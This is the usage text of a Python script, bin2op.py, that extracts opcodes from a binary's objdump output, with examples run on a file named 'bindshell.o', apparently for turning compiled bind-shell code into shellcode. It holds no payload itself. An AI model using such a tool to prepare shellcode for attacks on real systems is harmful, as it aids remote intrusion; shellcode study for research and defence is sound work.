Extract the opcode from the objdump of a binary
usage: ./bin2op.py [options]
-f, --file The assembly code filename
-s, --short Show less version of opcode
-l, --large Show verbose version of opcode
-i, --intel Use the intel assembly syntax
-a, --att Use the AT&T assembly syntax
Example: ./bin2op.py -a -f bindshell/build/bindshell.o -l
./bin2op.py -f bindshell/build/bindshell.o -s
